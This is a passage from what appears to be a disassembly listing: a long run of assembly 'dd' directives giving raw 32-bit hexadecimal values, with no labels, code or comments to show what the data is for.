		dd 56B937D7h, 0CBE9D84Fh, 0EAB3E660h, 4B865AFh,	0B18A0F34h
		dd 9E4FA3FAh, 7299E741h, 2D6049A8h, 83DDA806h, 0CF30C0EFh
		dd 68ED47C5h, 74BF5E0Fh, 0A1662B2Ah, 69A0E900h,	13DBF448h
		dd 0C17F351h, 82201E3h,	2088D8F9h, 16C5AB48h, 0DAF05FF9h
		dd 3A94303Fh, 700D6A36h, 4F0C7461h, 0E9C45425h,	0E9DA54FBh
		dd 39CB63Ah, 234C6855h,	1A7047F2h, 7BD10144h, 7978E5EDh
		dd 994B4948h, 0D4BF31CAh, 7D598C7Bh, 34F0163Eh,	0CC8B53F8h
		dd 26A59602h, 5FB8DD12h, 129597D4h, 9FD7294h, 6F3A4B7Bh
		dd 0ED961D16h, 70E31312h, 2234929Fh, 1DECDFA8h,	5E28525Fh
		dd 0EC07C68h, 9CE92C94h, 505661B6h, 650E3254h, 60A617A6h
		dd 20E1824Bh, 88045E2Bh, 0B3280D2Fh, 0A603F509h, 0E684805Fh
		dd 0F6704874h, 64DA9AE8h, 0D1318233h, 6A69553Bh, 0DEEDCADDh
		dd 3C7B7535h, 8069E934h, 48F00081h, 0F6720945h,	0D0255F46h
		dd 0FD3DB5C0h, 0C46704Ch, 2EDE5191h, 0AC30BC5h,	0ABD67906h
		dd 71CB0C09h, 0AF3788D0h, 436FBF00h, 62BB60F2h,	0FB290B73h
		dd 0A85D095Ah, 125E58B8h, 0CF603139h, 166D23A1h, 0D068504Dh
		dd 0C229589Dh, 737600B7h, 9554C30Ch, 20DD1906h,	0D7C84097h
		dd 88128668h, 0C60151E0h, 5D91700Bh, 1865942Bh,	72881C08h
		dd 473DE626h, 0FD446712h, 69F2163Eh, 0E9747192h, 427575CDh
		dd 0F668E5E6h, 102B050h, 2C58C130h, 0B9DCE186h,	25F77234h
		dd 0E2004ED6h, 0E3D41EEh, 42D07250h, 3E11C813h,	0D9681609h
		dd 3E8C489Eh, 3736B913h, 0C1E73448h, 7BA9F4C4h,	4B29D798h
		dd 5817B3F2h, 58CF8B16h, 0D6BB0055h, 0BD2CAE09h, 8B095FE2h
		dd 4DD2971h, 41BE9E82h,	0DF185725h, 7CB6A466h, 0D27FC01h
		dd 65E2095Ah, 124E9697h, 0AE5DC430h, 2A687178h,	5AA17AA4h
		dd 0BD2BC038h, 722C116Fh, 4602771Ah, 0E1F84397h, 812AE90Dh
		dd 382C8BECh, 25EB80FAh, 90222E7Ah, 4CE70492h, 0FC0115BEh
		dd 0D50841DFh, 4CB5495h, 0A8530294h, 2E23DCE9h,	68C3C057h
		dd 389C136Dh, 50F1868h,	21FAA00Fh, 0F43B02Dh, 0D8017ACEh
		dd 0A07C0794h, 9D108811h, 531271E4h, 3256C5E9h,	832077CAh
		dd 0F379E92Ah, 2D22BD02h, 0C04D264Bh, 815C728Eh, 84A620BFh
		dd 0D04F1825h, 0BC4820B3h, 25EAECA1h, 0E32C7A37h, 216997FEh
		dd 5FD87832h, 0BFC20A83h, 0EA2FA6A2h, 2C9FC057h, 0BC77FE4Ah
		dd 0F70905A1h, 0F258C3A5h, 0E9EA01C8h, 980D8320h, 0C09540F5h
		dd 2C03E01Dh, 281698BFh, 81AA871Fh, 2C3FBF5Bh, 6881245Ah
		dd 2299609Fh, 82545930h, 4025B851h, 9E9BD0CEh, 0CC324986h
		dd 6920E55Ah, 0F43012CBh, 75FCE85Ah, 0E628520Eh, 0B3042458h
		dd 71D2C1A1h, 0DA6862F3h, 5167005Ch, 0BF494C9Eh, 28D24AF7h
		dd 1D41386Dh, 3516C02Ah, 6A4F2505h, 0F510DE0h, 0EBE90D84h
		dd 3340A997h, 0BA4A3B7Eh
		dd 0E8F17A88h, 2E349A54h, 19B7E801h, 3EAA9331h,	0B57133D8h
		dd 1A530389h, 51628A62h, 16F0126Fh, 209AE807h, 7DBA02F1h
		dd 4A22071Ah, 5D048BDCh, 0C9B1213Fh, 4B136D02h,	2D220D0Dh
		dd 212EDC26h, 0D9E7C776h, 6841E7F9h, 997B30E5h,	3AA620A9h
		dd 941053DCh, 0EA12FD62h, 5EB69222h, 0F25C4454h, 897C0F2h
		dd 5B013A57h, 0D327F2C2h, 50A55416h, 40E60CA4h,	0E95FFA29h
		dd 0C0CFFE67h, 42800462h, 15408417h, 181AF0A9h,	37A2FE20h
		dd 0D803EA8h, 0B2FB5A8Eh, 59B5214Bh, 680A8B78h,	0A0532620h
		dd 0C5D2208Fh, 0DA039BB5h, 689AA19Ah, 914D06BDh, 969376F4h
		dd 90884C0h, 64B5A820h,	68605DE5h, 5D996FC8h, 409930A7h
		dd 8089BC03h, 9A17A53h,	24CE1C1h, 64B40685h, 18D00FEAh
		dd 689B849Ch, 2B9D59CDh, 39B6763Bh, 91E9DA05h, 270BA7C6h
		dd 2F76EF52h, 73689B59h, 3137860Ch, 5E980BCFh, 0D25E4E85h
		dd 36B8EF80h, 0A031AA17h, 0B6D021D6h, 16B25BB8h, 6A68F590h
		dd 0F07F5D27h, 0C38B1035h, 8D1161D4h, 5302EAFAh, 33C2DAE0h
		dd 4CBA6F05h, 5FBB3FE9h, 14E20521h, 0FB17C17Ah,	5386EE8h
		dd 0DDBA5445h, 2C764429h, 0F20013BDh, 89C02794h, 5D5A61DEh
		dd 8309815h, 0B6479E68h, 0B5A463EEh, 8B2B5A4Bh,	0EF835C07h
		dd 27F7D101h, 0DE09E940h, 18129C54h, 3235BFF1h,	60418B7Ah
		dd 0CB587A18h, 0BA9B019h, 440F0985h, 41FDC2D8h,	3829E908h
		dd 95BE0189h, 462EAD0Eh, 0C65EC82Ah, 9BA0528h, 0A4FCE917h
		dd 8CD3A2FDh, 0F10BF748h, 0F2598168h, 302C9E72h, 97717FC6h
		dd 5C4D307Bh, 27513B20h, 0F9F84870h, 0FC04B55Fh, 49B1F178h
		dd 0B5F48860h, 32263E21h, 93D92D51h, 7CA9E967h,	54452535h
		dd 422DFA35h, 0B5025F60h, 0FE5AC2C6h, 9192D491h, 6C09FB04h
		dd 1FF2780Eh, 92BAF2Dh,	0EC822901h, 580B428Ch, 0AF515CACh
		dd 9C0CA607h, 5EF1903Eh, 0C112D9F7h, 0D50105E9h, 703C472Fh
		dd 5AD4D5E3h, 0D6DE0AE8h, 517D8167h, 324FEE54h,	96931F26h
		dd 550584Bh, 922740B4h,	8FC15ADEh, 7200F7F1h, 255F5766h
		dd 0BE110351h, 35484002h, 9616603Bh, 0E5E6C501h, 0B1BA692Ah
		dd 0BE044BFAh, 0B551005Bh, 70ED80FAh, 59EF2F63h, 30BF72D8h
		dd 81F24D64h, 3F802FF7h, 163788BCh, 1D30939h, 7B06EBD8h
		dd 55E2EAFBh, 0E8468025h, 0AB150FE5h, 5AF8892Fh, 0D4BD0561h
		dd 8205E024h, 7E0B4C8Ch, 29CC5807h, 24850F80h, 9692327Bh
		dd 0CCE5F587h, 550BB748h, 0E010E95Dh, 1EC6BAF6h, 8907A449h
		dd 0C3514A53h, 78056885h, 6DCB4CE8h, 566B025Eh,	0FA712DD7h
		dd 10195889h, 83B09627h, 26C8EE01h, 0F3014F14h,	809AC44h
		dd 7AA0DC5Eh, 60D18955h, 8390468Eh, 23148CD0h, 4499D194h
		dd 7E308Fh, 0C05AD1F7h,	801303E6h, 0B8099BC6h, 222045BAh
		dd 269A8133h, 99E62C01h, 0EBE1386Ah, 62B6EF9h, 4DBF66Ah
		dd 5207EB0h, 4F26FE4Bh,	5217D9D4h, 0E258E550h, 76C60500h
		dd 0D02903CEh, 2207A32Dh, 0CF04D396h, 3CE54C4Bh, 0C79F18C0h
		dd 29852DAEh, 735EAF8h,	6F069D34h, 0F2128h, 0EB805A60h
		dd 0F7B2522Dh, 694D3FAh, 580AFC4Bh, 0FDBA3BE9h,	7E05358h
		dd 5B089D4Fh, 5BCFD8C3h, 0ADF6A418h, 2571311Dh,	33E1FABCh
		dd 0B9B8502Eh, 903F3A41h, 84C9BFA6h, 6F20F27Dh,	4644B54Ah
		dd 9D4EE798h, 0E10798D2h, 41B2E898h, 78030512h,	80241DACh
		dd 1650D2E1h, 0CE3D617h, 9B60EFB6h, 166D380Bh, 0B8D8315Eh
		dd 25AA881Ah, 0B2C17343h, 0D264924Fh, 8F2610D1h, 40830904h
		dd 62487132h, 25924168h, 62C7E92Fh, 8B656A8h, 0B801A74Ch
		dd 7D9D6D40h, 92B324E8h, 4BD398D8h, 0F30D1621h,	0C73A7508h
		dd 0B8BC852h, 2FC9E93Ch, 5ED4D2D8h, 2568FEE0h, 461CB1h
		dd 0B0A9D47Eh, 8F7720DDh, 0E55F1467h, 23417AF1h, 2BC1B9F3h
		dd 0ECFB3992h, 266672A9h, 0F4A150C3h, 43D94D2Ch, 141D113h
		dd 9175A2C6h, 0A7E1D87Eh, 7A777018h, 2F310F4Eh,	0F879DD8Ah
		dd 4222E909h, 0F8BA6E37h, 0D0924AB1h, 9A768C7Fh, 0F7011816h
		dd 1084C10h, 4897BB53h,	804231DFh, 624207DAh, 53EBB855h
		dd 5615C8CCh, 0C7498E40h, 25FA708Ch, 8709ABB5h,	2D860089h
		dd 4F7A2E4Bh, 0E5FFC75Ch, 6461EED3h, 0CB2EC926h, 10552FECh
		dd 98505D9Eh, 407505A7h, 81894FB7h, 74ADF768h, 9496FB8Fh
		dd 74841F96h, 68CF1EF8h, 6FB011EBh, 0C5BF5AE0h,	5AE522F0h
		dd 778FF176h, 134B04F0h, 9EBE4C7h, 5E2BA2AEh, 468CF953h
		dd 0FCA3F4Bh, 63350DB9h, 4DA38786h, 2DFC2A98h, 16F750Bh
		dd 50DA61FAh, 0B5C6A320h, 56963894h, 0DDE95906h, 95BB05C5h
		dd 0C21CF349h, 2F22272h, 3E8BE383h, 0FF161EF3h,	6757AAE9h
		dd 4F483EDAh, 0F33904Ah, 68E8C8BEh, 9376513Eh, 0C7B3F364h
		dd 413DAC50h, 8D403FDCh, 1B5D6CD9h, 80809D89h, 0CDE958C1h
		dd 0E28E554Eh, 42B8680Bh, 5158EE54h, 6E5809B9h,	730016D5h
		dd 5DCB4076h, 7AA342B5h, 699180C0h, 0AB22504h, 0BE292185h
		dd 1C57F103h, 8E2DD22Fh, 0D79FA016h, 2429E1BBh,	0C90A58C5h
		dd 53D63C42h, 0BAE2D143h, 2F9BD5EAh, 6C8CE6F9h,	9880C42Bh
		dd 0A3F50B16h, 0CB24747Eh, 39CC3B17h, 48C14039h, 0FD8F703h
		dd 793C3B83h, 4D89EE22h, 3502E90Eh, 0BB938F45h,	0D7808E4Ah
		dd 2C6073AEh, 0F0D1899Fh, 0CC32483Dh, 5E520C60h, 9C807CB8h
		dd 30BD2DB4h, 0EBB71A64h, 76A4CA53h, 0CBFB9723h, 1012185Eh
		dd 0D7F7530Ah, 65ACB5B5h, 6904D518h, 65497EFBh,	0DE311CFDh
		dd 92F392h, 0F8FA057h, 0B1934C8Bh, 0CA14059Eh, 56518360h
		dd 47EF8727h, 4F2D83B5h, 29989373h, 7A205C8h, 0BC709D76h
		dd 0E4D2667h, 0AF770314h, 0C6FD3B25h, 59713E1Fh, 0AC3312Fh
		dd 330C36D1h, 40E3F344h, 0E73C802Ah, 0FAF5131Eh, 49D7AEFCh
		dd 22F8D124h, 4586B8BFh, 6F18D4FBh, 22D42712h, 0F7601803h
		dd 69CB4E23h, 0AC9EA48Ah, 7002A481h, 5076906Eh,	0E9123AB4h
		dd 0C0314117h, 1F61565Ah, 5BBB432Bh, 53A06D2Ch,	0FEFA5150h
		dd 0C0330E95h, 0D9F609B1h, 0A8C13E80h, 0F24D3397h, 0A61A897Fh
		dd 4F6A408Ah, 12F8B305h, 1EB654F6h, 3E3E294Ah, 0E2B0B946h
		dd 16B97279h, 1772813Bh, 8174E847h, 0E0A6BDB1h,	4DBA8E1h
		dd 22E8BA2Ch, 0C25C83D7h, 281C2FF0h, 8097E977h,	8C5B848h
		dd 0F70600B4h, 242A35D0h, 5045A8Ch, 56853373h, 41E260BAh
		dd 0C954A4C3h, 0C637E9EEh, 543069A5h, 0B517CC1h, 6DE66856h
		dd 0EF8343D9h, 0C32CA23Bh, 42AE5CFEh, 0CC515A2Dh, 28EB5CE5h
		dd 0A51CE91Fh, 260FF8Dh, 5206604Ch, 0D440C631h,	5603BEE6h
		dd 0EEC12572h, 0A5F6C805h, 1213882h, 7B1AF0AFh,	0CB0D6F9h
		dd 5A354DE0h, 0E9198162h, 25417FF8h, 5773FBEEh,	5EF9930h
		dd 7D1F7AA1h, 5D19429h,	0F3575E08h, 0B2EE49F1h,	76FE425Ch
		dd 67E9C1FBh, 3C557221h, 128E104Dh, 45526827h, 3D58ABF4h
		dd 5B51817Ch, 0BC800D63h, 4C2F29B8h, 5A4AD709h,	798182F0h
		dd 157112CFh, 60FDA138h, 31024B22h, 0B3E95044h,	0F1050BAAh
		dd 5E2990BFh, 7C654B68h, 4CC8B86Fh, 5FC809EAh, 3C0364E1h
		dd 3E86AACh, 529458E9h,	76C5BD00h, 8170DAh, 57982FEDh
		dd 5DEF299Fh, 17F742E7h, 564A51D9h, 9CE012Dh, 0A08759CAh
		dd 61062249h, 0D6E3C143h, 2D35C241h, 0E89F5089h, 5B9A894Fh
		dd 9CC6E34Bh, 25FA4EEFh, 9D017EE9h, 0BBC82159h,	5A4E7C17h
		dd 49127A5Ah, 0B0315EC4h
		dd 56B47F9h, 85215D6Fh,	7344B932h, 9F024641h, 0A0397F1Dh
		dd 3AEB3566h, 5D3435CDh, 0BD9B928h, 116E897Dh, 0A2665C2Fh
		dd 2B5D3CEEh, 0E95085D6h, 34094A9Fh, 859B13C3h,	0E0E9F18Ah
		dd 189D225Ch, 4CFE6B23h, 9720B8C9h, 5B375F4Ch, 0E9C574B2h
		dd 0BAD35275h, 6B0E7468h, 0A33422A6h, 700B877h,	0CD051ECCh
		dd 947E57Ch, 9E66692Dh,	0E29F3480h, 113F3ECh, 0BD0458C2h
		dd 0BF00F2A5h, 44A70AC9h, 3C7DE09Dh, 0BB5835F5h, 0D7C4BC5Eh
		dd 0E9853BF2h, 0F69EA001h, 33F0DE5Ah, 0E67DE680h, 3C6B76CEh
		dd 1EE2ADC6h, 8148EDE9h, 642268ACh, 53D32676h, 55CF4010h
		dd 0BD3C0123h, 2A24127Dh, 4DFA0BBFh, 56BB0802h,	98F414F5h
		dd 0FD712151h, 2CED8208h, 7C5B07D1h, 0CACEBE21h, 93091D3Ch
		dd 6C0A0C1h, 0BB8E740h,	22BD6BDCh, 3F0345ABh, 0B1C2E905h
		dd 578B0151h, 7C289654h, 0D7BF5853h, 9BF6B0D3h,	1FF6CD4Fh
		dd 0DE3DF710h, 0E57D730Bh, 8C581721h, 0E895052Dh, 5EB6E92Dh
		dd 97B6E712h, 0C94A4C8Bh, 33CD2A48h, 0B264526Ah, 0A35792C1h
		dd 0CDD05AB9h, 0F749A804h, 2596B96Bh, 5E0705F9h, 30A6E5B8h
		dd 4772F702h, 7596E97Ah, 0FEB4220h, 747BB36Ah, 1B9D4CEAh
		dd 0FC0BCB33h, 6D3A44EEh, 0E38101EEh, 45D9143Ah, 0D2ED85FDh
		dd 0E9129C6Ah, 1C0AF42Dh, 0F8ECB52Fh, 1761D002h, 71D8F74Ch
		dd 7BDB2D89h, 797E168Bh, 0D0C192E5h, 0B9EB2824h, 0C7313617h
		dd 0C45FFAE8h, 0EE68EB32h, 0E92566E9h, 93B0275Dh, 0F1C5E060h
		dd 4AE52D20h, 53E70F6Bh, 1542CCEBh, 0ABC83EDBh,	5A271210h
		dd 8CA87A47h, 9C8CE722h, 8F5D4371h, 4A95ED46h, 17B38014h
		dd 44A6E36Fh, 9E307358h, 58F4C2B5h, 785B1225h, 0D0525E57h
		dd 4FDF69Dh, 0E72C732Ch, 35B2803h, 69D4101Dh, 0F05001Ah
		dd 89E120F2h, 0B6585BC1h, 10924C52h, 275BC667h,	557BA291h
		dd 19971E74h, 955C39F0h, 29FBB5Bh, 5DE245CAh, 0E4CFFF48h
		dd 67884078h, 121590A9h, 6D13157h, 79ED4E67h, 0D45C4F0Fh
		dd 49E6447Dh, 25789EBAh, 6445F830h, 0AB013C9Fh,	61557ED2h
		dd 404B91Fh, 0BB4D2EA9h, 0BC7589Ch, 144A9465h, 0D8989C43h
		dd 0D60BBE56h, 841E694Dh, 22DC9A1Eh, 8C565EFEh,	5E889F23h
		dd 7E250048h, 531F337h,	0A3004E1Ch, 0B730D46h, 2A683491h
		dd 20A8658Dh, 0D380043Eh, 0CB3D5B60h, 0E39E96BBh, 86423ADDh
		dd 0B6B4573Dh, 64958376h, 0E94BB79Eh, 65680813h, 9DBB3BCCh
		dd 12D8F791h, 52EA745Bh, 3321EEF8h, 0F5B88013h,	353A0773h
		dd 7E7A590Bh, 0A1F6C00Ch, 54495C6h, 0EC03C725h,	0CB681728h
		dd 5A15282Dh, 8BA2CE5Eh, 70925C3Ch, 0C992123h, 20263302h
		dd 5FCC8383h, 5EC3E017h, 0D969BF99h, 2C372A97h,	40FACFABh
		dd 2B71E3F7h, 0BE5B2D01h, 0E6734EFBh, 0D1FDDA71h, 43A3948Bh
		dd 0F0088E73h, 0DF8425E4h, 0F374EF87h, 0C773490h, 3676696Ah
		dd 24483E57h, 0A52038E9h, 0F6C6718Ch, 754E6E0Bh, 0E23C0055h
		dd 0F876D94Dh, 25AC77EDh, 0E7D631F5h, 690BF33Ch, 76D44BAh
		dd 0D925F3BBh, 3C5E20F4h, 25BE950h, 1B0A680Bh, 4DC08D9Ah
		dd 72D2CB9h, 2C7AD118h,	6856C0AEh, 38BF5F61h, 82261B4Fh
		dd 0F20448F0h, 0A152E79Fh, 611E4280h, 29310260h, 0A417E9D5h
		dd 68DB1857h, 0FD3E574Dh, 0E09F855Bh, 3009055Bh, 0CC073815h
		dd 3C33F982h, 0D7E2AF2Fh, 0A8CF6140h, 4E478F91h, 0D2B0CDC5h
		dd 40890468h, 0AE5E336Eh, 0F9933404h, 1F5B0912h, 19BEC0C0h
		dd 6C727112h, 0D6E69DD0h, 0C8E6B85Eh, 0CB201E26h, 7B0F780Eh
		dd 4988652Bh, 0E9577A90h, 89B360DDh, 84E35CC7h,	4D518E58h
		dd 0C3311632h, 179F16E8h, 5A53F011h, 0CE78809Dh, 50B72A8Eh
		dd 0DDCA35h, 0D707316h,	7AF2788Fh, 0FE400501h, 14E9CA17h
		dd 411C1E6Bh, 3935600Dh, 0B16C702Ah, 0BA8AC697h, 987E3385h
		dd 76F8F799h, 0DA975387h, 13A0FA0h, 0EFC04555h,	15AC90B1h
		dd 73FB292Fh, 846813FAh, 0EFB78039h, 0AC5D6F6h,	0EE812CFDh
		dd 5AD104F0h, 5351C4h, 0E7D046B7h, 0E93FF780h, 0C384372Ah
		dd 4E0F1139h, 67E3EB80h, 0EC7B7155h, 1A8400F3h,	0DD893286h
		dd 0EE5A4CE9h, 24F1878Ch, 3A7D5664h, 0BB0DF5B4h, 49FDA912h
		dd 32B22318h, 6B0D1B6h,	9096F06Dh, 5EBCF644h, 663BB40Dh
		dd 0FD1243A0h, 0E5805BB3h, 7A90ED80h, 5977E8E0h, 60EEB33h
		dd 0D7C3E993h, 0B45098C3h, 7EECFC8Ah, 0E1E40295h, 58E9D4F6h
		dd 0EBB6594Ah, 903D4720h, 14852065h, 758B6812h,	4088A875h
		dd 59A64093h, 25FA490h,	321016A6h, 0FE3751ADh, 642F0D7Ch
		dd 0D6F8A47Eh, 0A8FBFC4Dh, 1236B95Ch, 0BAC3D130h, 0CFFE0082h
		dd 0C4E71C80h, 1003DAC0h, 6336C057h, 0BFBF49E9h, 0F63CC958h
		dd 0EAC8ECC1h, 0F9AD0EBEh, 980DB4E7h, 553C50DAh, 0F412EB58h
		dd 687F132h, 503B2F68h,	0A32576C6h, 53051079h, 428C02BBh
		dd 0E3C12607h, 2C0939E1h, 48894AF9h, 0B4C8882Ah, 8B34DF59h
		dd 5C368B29h, 0BD1144D6h, 734F7570h, 53B88B8Ch,	0B605DE02h
		dd 0B3F3887Fh, 0BD523CE1h, 5AF5A7DEh, 0A1949DB4h, 70F50684h
		dd 0E92EE87Eh, 5A8FB76Ah, 2470EF5Bh, 3190DBCBh,	2768F3C9h
		dd 4A5A520Bh, 397E7764h, 1D12CDE8h, 0C263EDA0h,	90D3665Ch
		dd 8281CCEEh, 0E20B91FEh, 0A74BFE07h, 0D2509360h, 0BD40B5B6h
		dd 9EE0C06h, 5DE8093Dh,	4747B585h, 0F1E5C1C2h, 2B8E890Fh
		dd 0DA2AB4D2h, 0F7F764EDh, 1747E65Eh, 0E45A9D78h, 988C7713h
		dd 2A58BE7Ah, 2D8084F2h, 3505F05h, 580C57FBh, 27600588h
		dd 4F28F148h, 7A3E74D0h, 877E5AD9h, 3108BA5Bh, 50AEE7ACh
		dd 0D5F7EAF1h, 2408DAh,	0E9014DE2h, 3F05957h, 0C6CBBA4Ch
		dd 0BA60D2CAh, 4E16CAEAh, 0B4022998h, 0C49EDFE9h, 3CE42A3Bh
		dd 204738E5h, 10A44609h, 2420EFECh, 0E18013EAh,	0CD38C18Fh
		dd 0C299AA9Ah, 61A4F9Fh, 4F3F6968h, 5AC0820h, 3953F02Dh
		dd 5E7EC066h, 14219B46h, 30626D29h, 0FDA48C72h,	4A5EF327h
		dd 44CDE234h, 9BC82455h, 0D906AFDFh, 9650ECE7h,	98BF5FAEh
		dd 4D20E986h, 0C03B13AFh, 19110698h, 0F282809Bh, 323C49F3h
		dd 71080D05h, 2408FB2Ch, 245C25F3h, 3EA00408h, 43C48213h
		dd 8AEE8B6Eh, 0B40605C8h, 52C1400Fh, 2B396EBAh,	39DB5C02h
		dd 69E9C684h, 9373EF93h, 787C50D3h, 8A805E54h, 5F125C76h
		dd 5304F2A6h, 0E2297168h, 0B4DD94FAh, 0C36260EAh, 0B65C2FE9h
		dd 0F9B5A740h, 63FD7C94h, 22B068C3h, 0D0342512h, 8AF88ACDh
		dd 0DF98950Fh, 37CE0674h, 5B10B117h, 0A9294B96h, 0C224C73Dh
		dd 38688454h, 0C601A83Fh, 244751A8h, 0BDB42F4Fh, 0D80DB693h
		dd 30296831h, 0B6161D2Fh, 0BDE8AA8h, 54F62F90h,	9B7F3C9h
		dd 9C9A140Bh, 0F8F45963h, 0F84B2D27h, 21791F51h, 0E3960B77h
		dd 0A5893D76h, 496CF4D3h, 442C6024h, 24BF7F6Ch,	8C43C26Bh
		dd 59122C51h, 0E625BE75h, 4C01B9FDh, 146395Bh, 668D6A6Ch
		dd 0F05D0C02h, 2A68128Eh, 0ED779D59h, 0FDB1001h, 0A6E5B8Eh
		dd 0EE4357h, 195A1E3Bh,	0B297CEE9h, 0C04A1807h,	565B8083h
		dd 0CBFE8939h, 0BAF91517h, 0E9555905h, 41F5F13Ah, 2BDAE097h
		dd 5827DEA3h, 0F1524C54h, 0BEE24996h, 58005594h, 12BF5756h
		dd 23F6D71h, 34091FBEh,	4262E931h, 2F6145B2h, 8B02694Fh
		dd 958E347h, 0ED5BA444h, 46896D0Fh, 29252602h, 820F85Eh
		dd 21E5F60h, 979C0308h,	657CBE09h, 0C11E802Dh, 12310AE8h
		dd 0BEE168C8h, 0DEB98335h
		dd 52971737h, 12D5EDBCh, 58847C28h, 0B69A8797h,	5EFCC138h
		dd 28CFA3E2h, 6381536Bh, 5CD78860h, 0F7058024h,	8B1E998h
		dd 0E0C098D2h, 0B5E4A226h, 5897A3C4h, 55E697A6h, 9038C320h
		dd 2DD263B7h, 3C178F66h, 36657E10h, 0EFB68957h,	835BB997h
		dd 163CFC68h, 91497CE5h, 6F91D9C3h, 0CA56B67h, 0FB9B5B0h
		dd 37D04061h, 4DC9FA4Bh, 3BCC3AECh, 0C494BD1Fh,	7B960620h
		dd 20C31E80h, 21DE9BD5h, 247DACF9h, 45F85BD4h, 2D4B2AB2h
		dd 257AD1A9h, 74DBAEE3h, 6C2B9EC2h, 9B692F70h, 98226693h
		dd 2C62717h, 184B9EF1h,	997D6567h, 0A618BC83h, 21EBE9C0h
		dd 26148D33h, 144FEEFh,	45B6525Ch, 2B6DC668h, 76E9DE30h
		dd 0BA42A8D2h, 72092E31h, 690F8031h, 0D2F72918h, 0FE90DAE4h
		dd 6B825730h, 2E40C7EAh, 10DE32F4h, 8BB901BCh, 895A584Dh
		dd 0A50F052Bh, 0BA4D02D4h, 8760F677h, 66970114h, 58ED00B0h
		dd 0CD81150Eh, 0C8731E4Ah, 94F7E19Fh, 7A528D2Eh, 28EF21C5h
		dd 21C75CEFh, 6213E9F7h, 0C27502F2h, 6EA81941h,	8A0EEF4h
		dd 7CC01CC1h, 928853E1h, 0F022324h, 489C8288h, 82A504BDh
		dd 3C60C260h, 78215527h, 425004DAh, 87E5C162h, 0D9C83473h
		dd 0FCC944DDh, 535E2F5Ch, 0D95E69E5h, 0CBF1FB44h, 0E3E8FF55h
		dd 5BBA8050h, 0F6FA310Ah, 9793A49Eh, 48843F16h,	16531B25h
		dd 3F2C3300h, 581639Ah,	0E10F10C9h, 2F3CC149h, 0E9720780h
		dd 95CF2A3h, 690A53E7h,	0BF48660Fh, 12EAB924h, 0EE95483h
		dd 0F4204FF5h, 0A94153E3h, 7913C232h, 603DBE2Dh, 2E4C1429h
		dd 0C2C9D349h, 0E0DCBEE6h, 0D91D1258h, 600FB55Bh, 84942C7Ch
		dd 0F8514225h, 138D0886h, 0C35011Ch, 6ECC2C7Fh,	9A910AC5h
		dd 9A37E78Ah, 0FB7E4A19h, 0AB5DC4CAh, 2D683C3Dh, 827FD136h
		dd 28437C98h, 0E9055256h, 88A3386Bh, 428F6809h,	878CEAF9h
		dd 95DA632Fh, 69520CA2h, 798E059h, 4CA7E9ADh, 5CCAAEDFh
		dd 4B212D23h, 486F095Dh, 3627E9A2h, 0A7547B9Eh,	0EEB38170h
		dd 41DC6806h, 0C362563h, 0A4F66F2h, 4CA7B1A1h, 5A9F0256h
		dd 90F1F212h, 0E13D0C88h, 8739FB28h, 0B5CE3DD1h, 9C015103h
		dd 2D205566h, 5D6527EDh, 78BF2D6Eh, 0CB01C1D4h,	2BF3E9h
		dd 0CB02D54h, 55A7EB1h,	917F45A5h, 5591E965h, 0DFD5FDEFh
		dd 0F2F84E49h, 0C97A904Ah, 42D6D129h, 2090F1Ch,	56F44001h
		dd 0D2DA5E68h, 38F42942h, 0BC89AB89h, 496298D3h, 5D2D029Dh
		dd 0D4480CD9h, 0C229764Bh, 131AD4E2h, 4337E187h, 6F3C893Eh
		dd 0B62CAF9Ch, 59E9848Dh, 6A5AC9F7h, 0CBAEE0C4h, 6892503Fh
		dd 0CF758331h, 0C05A1274h, 4D70B2Eh, 0BE2FDE85h, 0C1819BDCh
		dd 3A67395Ah, 0ED16E72h, 2C3F08CAh, 0BD9EAD8Fh,	0F0DC133Dh
		dd 45328BBh, 8104CB74h,	0F65E2CE1h, 0F3962CC1h,	0A87E3588h
		dd 7A0F4817h, 0F2A4C407h, 0D7168AADh, 0ED239DE5h, 4E276C2Fh
		dd 8E10F1B8h, 58B9024Ch, 60627838h, 9488ACD9h, 472C8B9Dh
		dd 3C7F3549h, 0F6F05E5Fh, 4EABFA7Eh, 0F7DDC006h, 0C29C52D3h
		dd 18ECE941h, 49F2F58Eh, 0B31F1127h, 9776EF82h,	6D2EF103h
		dd 0C7C1294Ch, 0BE35082Ah, 3CE77384h, 8D100A52h, 10B701B5h
		dd 0E7C0D7F6h, 8943FE88h, 0EAF48003h, 7F01CA53h, 0E8E07FA4h
		dd 0BF57C04Ch, 5B55EAFh, 0E9F8297Eh, 1046A932h,	6604BB13h
		dd 0BE0A9268h, 6415EC22h, 2E2C3EDEh, 0A4B35303h, 93F2D828h
		dd 40D53DCh, 283A12FCh,	5900B1E8h, 0F186C9FEh, 29E9E630h
		dd 0BAE4C1Fh, 2DBB622h,	480BD4A4h, 584D5AC8h, 0AF2C2B05h
		dd 77BD4053h, 5F17422Ch, 4B13EA89h, 0CA808D42h,	5ADD6A47h
		dd 0D3EC200Ah, 4A626876h, 56179D15h, 7EF6E999h,	420A8B69h
		dd 0C2EDD681h, 2244D958h, 1C5801Ch, 848FE5C9h, 9DFAD224h
		dd 339E2061h, 6A8EA1A9h, 0B4501700h, 73ECC039h,	0E8E45A02h
		dd 0FE7909D0h, 112A84CCh, 7A5BA212h, 5B9DBC30h,	7AFA71F2h
		dd 16B84A2Ah, 0F48DE997h, 7EEFD144h, 67666802h,	958B81A5h
		dd 3913F0AFh, 0B7D1A740h, 536CAA80h, 0F0C31D7h,	6113D983h
		dd 0A18009F3h, 0ECF010E9h, 270FADB0h, 0E00ADC34h, 0FF37FEEDh
		dd 0B0ECB71Fh, 2B04CB72h, 35E95D5Bh, 2E17D3F9h,	5ABABD78h
		dd 153C02D7h, 2A35075Ah, 516E5E17h, 0A6F80243h,	1D07ED56h
		dd 0BBF0FD3Eh, 27AF48E1h, 36F02955h, 5DC410E0h,	9AEB44CBh
		dd 9FA25B42h, 0BC508296h, 7DD5F702h, 0C5815300h, 0D87E9DC2h
		dd 5C3C899Dh, 73680569h, 8EDFFD56h, 2F0B243Fh, 848161FAh
		dd 8F0F01A4h, 0D127FEF9h, 0D621DF10h, 0C209CF21h, 0C47A7CF9h
		dd 0E8A566A9h, 0F75B930Eh, 0D0D84BD0h, 7E5C3993h, 80360131h
		dd 897F3DADh, 0C74FE8CEh, 0E56FC448h, 87BFF950h, 55C04DF5h
		dd 0DF0A8C68h, 0CA2E1331h, 735F2DDFh, 73D025E1h, 0A7C47E5Bh
		dd 6826F7F3h, 50C06488h, 0AEC110B4h, 0F2BB5B01h, 0ED8263A3h
		dd 513C42F5h, 2D076A78h, 14C83538h, 7733FE57h, 3470F911h
		dd 0D670A32Fh, 6957A50Bh, 0D8DDD09Ah, 5FE4BA48h, 0EC5AE028h
